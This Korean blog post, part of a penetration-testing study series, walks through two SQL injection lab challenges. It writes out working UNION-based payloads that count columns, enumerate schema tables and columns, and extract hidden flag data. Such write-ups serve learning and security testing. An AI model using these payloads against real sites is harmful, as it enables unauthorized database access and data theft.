SQL Injection 간단한 문제 풀어보기

gyub·2025년 5월 21일
0

모의해킹 스터디

목록 보기
13/31

1️⃣ SQL Injection 1

1. 문제 탐색하기 (SQL 형태 구상)

문제는 아래와 같은 페이지에서 비밀 데이터를 찾아내는 것입니다

페이지를 관찰해보니 아이디를 검색해 해당 아이디의 정보를 보는 곳 같네요

저장된 데이터를 출력해야하니 DB를 활용하는 페이지입니다

숨겨져 있는 데이터를 찾아야 하니 UNION을 활용해 출력되지 않은 컬럼 또는 다른 테이블의 데이터를 뽑아보려 합니다

대충 보아하니 서버에 작성된 쿼리문은 SELECT [컬럼들] FROM [테이블] WHERE [아이디 조건] 의 형태일 듯 한데,

몇 가지 아이디 검색을 통해 조건 부분을 더 구체화 시켜 보도록 하겠습니다


  1. 정확한 아이디 검색
    : bello 라는 아이디를 하나 골라 정확히 검색해 보았습니다

    결과가 잘 나오고 있네요

  2. 아이디 일부만 검색
    : bello의 일부만 검색해서 조건부분이 어떻게 작성되어 있을지 추측해보려고 합니다.
    be, ell, lo를 각각 검색해서 어떤 결과가 나오는 지 확인합니다

    모두 똑같은 결과입니다
    아마 조건절은 WHERE 아이디 LIKE '%[검색어]%' 형태일 듯 합니다


그럼 서버에 작성된 SQL 문은 SELECT [컬럼들] FROM [테이블] WHERE 아이디 LIKE '%[검색어]%' 일 것 같네요

이걸 기반으로 비밀 데이터를 찾아보도록 하겠습니다

2. 컬럼 개수 확인하기

UNION을 활용하려면 서버에 작성된 SELECT 쿼리와 컬럼 개수가 동일해야 하니,

ORDER BY 를 이용해 컬럼 개수를 알아내도록 하겠습니다

아까 추측한 서버의 쿼리문이 SELECT [컬럼들] FROM [테이블] WHERE 아이디 LIKE '%[검색어]%' 이니,

여기서 ORDER BY 를 사용하려면, 검색어는 %' ORDER BY 인덱스# 이 되어야 합니다

%' ORDER BY 4# 까지는 정상적으로 테이블이 출력되었지만, %' ORDER BY 5# 에서는 아무 데이터가 출력되지 않았습니다

SELECT 쿼리문의 컬럼은 딱 4개인 듯 합니다

원래 출력되던 컬럼도 4개, SELECT 쿼리문의 컬럼 개수도 4개인 것으로 보아

우리가 출력해야 할 비밀 데이터는 다른 테이블에 있을 가능성이 커 보입니다

3. 출력되는 컬럼 위치 확인하기

2번에서 SELECT 문의 컬럼 개수가 4개인 것을 확인했으니,

이제 그 4개의 컬럼이 모두 출력되는 게 맞는 지 확인해보려고 합니다

%' union select 1,2,3,4 # 를 검색하고 결과를 확인해보겠습니다

다 잘 출력되고 있네요

SELECT 문의 컬럼 4개는 모두 페이지에 출력이 되는 컬럼이었습니다

4. DB 이름 확인하기

DB에 어떤 테이블과 컬럼이 있는 지 알기 위해서는 DB의 이름을 알아야 합니다

DB 이름을 출력하는 명령은 SELECT database() 이므로

%' union select database(), 2,3,4 # 를 검색합니다

DB 이름은 sqli_1인 것을 확인할 수 있었습니다

5. 테이블 이름 확인하기

이제 DB 안에 어떤 테이블이 있는지 확인해보겠습니다

테이블 명을 확인하려면 아래와 같은 SQL 쿼리를 작성해야 합니다

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_1'

그렇다면 아래와 같이 검색하면 되겠습니다

%' UNION SELECT TABLE_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_1' #

flag_table, plusFlag_Table, user_info 이렇게 세 개의 테이블이 있네요

우리는 flag를 찾아야 하니 flag_table과 plusFlug_Table을 살펴보도록 하겠습니다

6. 컬럼 이름 확인하기

그럼 테이블 안에 어떤 컬럼이 있는지 알아보겠습니다

%' UNION SELECT COLUMN_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag_table' # 을 검색한 결과를 볼까요?

flag라는 컬럼 1개가 있네요

그렇다면 plusFlag_Table에는 어떤 컬럼이 있는지 확인해볼까요?

%' UNION SELECT COLUMN_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'plusFlag_Table' #

idx와 flag라는 컬럼이 있습니다

7. 데이터 추출하기

테이블과 컬럼 이름을 모두 알았으니 이걸 바탕으로 검색을 해보겠습니다

우선 테이블 이름 상 flag_table에 flag가 있을 가능성이 가장 높아보이니, 이 테이블의 데이터를 추출해보겠습니다

%' UNION SELECT flag, 2, 3, 4 FROM flag_table # 를 검색해 보겠습니다

flag가 나왔네요

이렇게 숨겨진 데이터를 추출하는 문제를 풀어보았습니다


2️⃣ SQL Injection 2

1. 문제 탐색하기 (SQL 형태 구상)

먼저 SQL Injection 1의 페이지와 거의 똑같이 생겼지만,

검색을 하지 않았을 때는 아무런 데이터가 보이지 않고 검색창에 'normaltic'이라는 단어가 value 값으로 들어가 있습니다

주어진 정보를 활용해 normaltic을 검색해봅니다

일부만 검색해도 normaltic이라는 단어가 나오는 지 확인해보았더니,

DB에 저장된 정확한 단어를 검색해야 제대로 된 정보가 나오고 그렇지 않은 경우 검색한 단어가 그대로 출력됩니다

정확한 검색어를 입력한 경우 info 값을 찾아 출력해주고,

그렇지 않은 경우는 입력받은 검색어만 출력해주는 방식 같습니다

SQL 구조는 대충 아래와 같을 것으로 예상됩니다

SELECT [컬럼들] FROM [테이블] WHERE 아이디='[검색어]'

2. 컬럼 개수 확인하기

SELECT [컬럼들] FROM [테이블] WHERE 아이디='[검색어]'

이 구조에서 몇 개의 컬럼이 select 되고 있는 지 알아보기 위해 ORDER BY를 활용해보겠습니다

a' order by N # 검색을 통해 6 개의 column이 select 되고 있는 것을 확인했습니다

3. 출력되는 컬럼 위치 확인하기

6개의 컬럼 중에 어떤 컬럼이 실제 페이지에 출력되고 있는 지 알아보기 위해,

a' union select 1, 2, 3, 4, 5, 6 # 을 검색합니다

6번 위치의 컬럼만 보이는 것을 알 수 있습니다

4. DB 이름 확인하기

그럼 이제 DB 이름을 확인해보겠습니다

a' union select 1,2,3,4,5,database() # 를 검색하니 sqli_5 라는 DB명을 발견했습니다

5. 테이블 이름 확인하기

그럼 sqli_5 에 어떤 테이블이 있는지 알아봅시다

a' union SELECT 1,2,3,4,5,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_5'# 를 검색하니 flag_honey 라는 테이블이 있는 것을 발견했습니다

6. 컬럼 이름 확인하기

그럼 찾은 테이블에 어떤 컬럼이 있는지 확인해 보겠습니다

a' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag_honey' # 를 검색하니 flag 라는 컬럼이 있는 것을 발견했습니다

7. 데이터 추출하기

이제 남은 단계는 데이터 추출입니다

a' union select 1,2,3,4,5,flag from flag_honey # 를 검색했습니다

앗 여기가 아니라고 하네요????

단계를 따라오면서 다른 DB나 테이블, 컬럼은 못 봤는데요...

생각해보니 딱 검색어에 대한 결과 1줄만 나오는 구조라 다른 데이터들이 있어도 2번째 줄 이상에 있다면 안 나왔을 것 같네요..

어디서부터 놓쳤는지 돌아가기 위해 다른 컬럼이 있었는지부터 알아보겠습니다

8. 숨겨진 데이터 찾기

a' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag_honey' and COLUMN_NAME LIKE 'a%' #

여기서 COLUMN_NAME LIKE 'a%' 부분의 a% 를 a부터 z까지 돌려 다른 컬럼이 있나 찾아보았습니다

flag_honey 테이블 안에 컬럼은 flag 밖에 없는 것 같네요

그럼 다른 테이블을 찾아 보겠습니다

a' union SELECT 1,2,3,4,5,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_5' and TABLE_NAME LIKE 'a%'#

여기서 TABLE_NAME LIKE 'a%' 부분의 a% 를 a부터 z까지 돌려 다른 테이블이 있나 찾아보았습니다

game_usersecret 이라는 테이블을 추가로 발견했습니다

secret 이 유력해보이니 이 테이블의 컬럼을 조사해봅니다

이 테이블에도 flag 라는 컬럼이 있어 데이터를 추출해보았습니다

여기도 아니라네요...

혹시 flag 값이 여러개는 아닌지 조사해봅시다

a' union select 1,2,3,4,5,flag from secret order by 1 desc # 를 검색하면 행의 순서가 내림차순으로 바뀝니다

만약 결과가 여러개였다면 info에 나타나는 데이터도 달라지겠죠?

flag를 찾았습니다

이번 문제는 출력 데이터가 1개만 보이는 상황에서 여러개의 결과 값이 있는 상황을 찾아나가는 문제였네요

0개의 댓글